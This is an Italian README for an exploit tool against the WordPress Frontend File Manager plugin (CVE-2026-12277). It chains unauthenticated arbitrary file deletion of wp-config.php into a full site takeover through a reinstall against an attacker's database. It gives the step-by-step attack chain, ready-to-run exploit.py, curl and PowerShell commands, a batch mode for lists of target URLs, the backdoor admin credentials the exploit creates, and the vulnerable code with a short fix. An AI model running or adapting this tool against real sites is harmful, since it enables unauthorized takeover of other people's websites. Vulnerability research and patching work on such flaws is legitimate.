
Plugin Frontend File Manager (WordPress) <= 23.6 - Eliminazione arbitraria di file non autenticata a RCE
| Campo | Valore |
|---|
| CVE | CVE-2026-12277 |
| Plugin | Frontend File Manager Plugin (nmedia-user-file-uploader) |
| Versione affetta | <= 23.6 |
| Tipo | Eliminazione arbitraria di file non autenticata |
| CVSS | 8.7 (ALTO) |
| CWE | CWE-73 (Controllo esterno del nome o del percorso del file) |
| Prerequisito | Modalità di upload ospite abilitata |
| Patch | Nessuna (al luglio 2026) |
| Ricercatore | Chamseddine Bouzaiene |
Il plugin memorizza i percorsi dei file caricati nei metadati degli articoli (wpfm_dir_path). L'endpoint AJAX wpfm_file_meta_update:
files.php)nopriv (accessibile senza autenticazione)unset($_REQUEST['wpfm_dir_path']) può essere bypassata grazie a stranezze del request_order di PHP (invio tramite query string)Quando viene chiamato wpfm_delete_file, legge wpfm_dir_path dai metadati dell'articolo ed esegue unlink() senza alcuna validazione del percorso.
| Azione AJAX | Nonce richiesto | Autenticazione richiesta | nopriv |
|---|---|---|---|
wpfm_file_meta_update | NO (commentato) | No | Sì (sempre) |
wpfm_delete_file | Sì | No | Sì (sempre) |
wpfm_upload_file | Sì | No | Sì (se upload ospite attivo) |
1. Rilevare plugin + upload ospite abilitato
2. Estrarre automaticamente il nonce AJAX dalla pagina frontend (campo input nascosto)
3. Caricare file come ospite OPPURE forzare l'ID del post esistente
4. Sovrascrivere wpfm_dir_path tramite bypass query string → puntare a wp-config.php
5. Attivare wpfm_delete_file → unlink(wp-config.php)
6. WordPress entra in modalità di configurazione (setup-config.php)
7. Completare la configurazione con un database controllato dall'attaccante
8. Accedere come admin → takeover completo
| File | Descrizione |
|---|---|
exploit.py | Exploit Python completo (rilevamento → sfruttamento → takeover) |
poc_curl.sh | PoC Bash/curl (Linux) |
poc_curl.ps1 | PoC PowerShell/curl (Windows) |
lists.txt | URL target (uno per riga, per modalità batch) |
requirements.txt | Dipendenze Python |
# Installa dipendenze
pip install -r requirements.txt
# Exploit automatico completo (nonce rilevato automaticamente)
python exploit.py -u http://target.com -p /var/www/html/wp-config.php --dbname attacker_db --dbuser root
# Solo rilevamento
python exploit.py -u http://target.com --detect-only
# Con nonce manuale (se il rilevamento automatico fallisce)
python exploit.py -u http://target.com -p /var/www/html/wp-config.php --nonce abc123def4
# Con proxy Burp
python exploit.py -u http://target.com --proxy http://127.0.0.1:8080
# Configurazione database attaccante personalizzata
python exploit.py -u http://target.com \
-p /var/www/html/wp-config.php \
--dbname pwned_db \
--dbuser root \
--dbpass secret \
--dbhost localhost
Dopo che lo sfruttamento ha avuto successo, accedi all'amministrazione di WordPress:
URL: http://target.com/wp-login.php
Username: shac1x
Password: Sh4c1x_Pwn3d!
bash poc_curl.sh http://target.com
.\poc_curl.ps1 -Target "http://target.com" -PageSlug "file-upload"
| Argomento | Obbligatorio | Descrizione |
|---|---|---|
-u, --url | Sì | URL del target WordPress |
-p, --path | No | Percorso assoluto di wp-config.php sul server |
--nonce | No | Nonce AJAX (salta estrazione automatica) |
--dbname | No | Nome del database attaccante (default: wp_pwned) |
--dbuser | No | Utente del database attaccante (default: root) |
--dbpass | No | Password del database attaccante |
--dbhost | No | Host del database attaccante (default: localhost) |
--proxy | No | Proxy HTTP (es. http://127.0.0.1:8080) |
--timeout | No | Timeout richiesta in secondi (default: 15) |
--detect-only | No | Solo rilevamento della vulnerabilità, non sfruttare |
L'exploit cerca automaticamente wpfm_ajax_nonce in:
/file-manager/, /upload/, /files/, /file-upload/, ecc./file-manager.php/wp-json/)Il nonce appare come campo input nascosto:
<input type="hidden" id="wpfm_ajax_nonce" name="wpfm_ajax_nonce" value="abc123def4" />
Oppure in JavaScript localizzato:
var wpfm_vars = {"wpfm_ajax_nonce":"abc123def4"};
Il codice fa unset($_REQUEST['wpfm_dir_path']) per impedire la sovrascrittura diretta. Il bypass:
Iniezione nella query string: invia wpfm_dir_path tramite parametro URL mentre gli altri dati vanno nel corpo POST. Il comportamento di unione di $_REQUEST di PHP permette al valore di persistere a seconda della configurazione di request_order.
Pre-impostato durante il flusso di caricamento: il meta wpfm_dir_path viene impostato durante gli hook iniziali di caricamento file. Se sfruttato in quella fase, non è necessario alcun bypass.
| Componente | Versione |
|---|---|
| WordPress | 6.9.4 |
| PHP | 8.2.12 |
| Plugin | Frontend File Manager 23.6 |
| OS | Windows (XAMPP) / Linux |
| Risultato | Takeover completo confermato |
inc/files.php:769-771)/*if (empty ( $_POST ) || ! wp_verify_nonce ( $_POST ['wpfm_ajax_nonce'], 'wpfm_securing_ajax' )) {
wp_send_json_error(__("Sorry, this request cannot be completed contact admin", "wpfm"));
}*/
inc/files.php:787-795)$meta_fields = $_REQUEST;
foreach ($meta_fields as $meta_key => $meta_value) {
update_post_meta( $file_id, sanitize_key($meta_key), sanitize_text_field($meta_value));
}
inc/files.php:690-693)$allow_guest = wpfm_get_option('_allow_guest_upload') == 'yes' ? true : false;
if( !$allow_guest && ! wpfm_is_current_user_post_author($_POST['file_id'] )) {
wp_send_json_error(__("Sorry, not allowed", "wpfm"));
}
// Quando l'upload ospite è ON → !$allow_guest = false → l'intero controllo viene SALTATO
inc/file.class.php:729-753)function delete_file_locally() {
$file_path = $this->path; // da wpfm_dir_path meta - NESSUNA VALIDAZIONE
if (file_exists($file_path)) {
unlink($file_path); // ELIMINAZIONE ARBITRARIA DI FILE
}
}
inc/file.class.php:172-184)function path() {
$file_dir_path = null;
if( ! $file_dir_path = $this->get_meta('wpfm_dir_path') ) {
$file_dir_path = $this->legacy->path(); // fallback: upload_dir + wpfm_file_name
}
if( ! is_file($file_dir_path) ) {
$file_dir_path = null;
}
return $file_dir_path; // NESSUNA canonicalizzazione, NESSUN controllo realpath
}
wpfm_file_meta_updatewpfm_dir_path rispetto alla directory di upload utilizzando realpath() + controllo del prefissoQuesto strumento è fornito esclusivamente per test di sicurezza autorizzati e scopi educativi. L'accesso non autorizzato a sistemi informatici è illegale. Ottenere sempre un'autorizzazione scritta prima di eseguire test.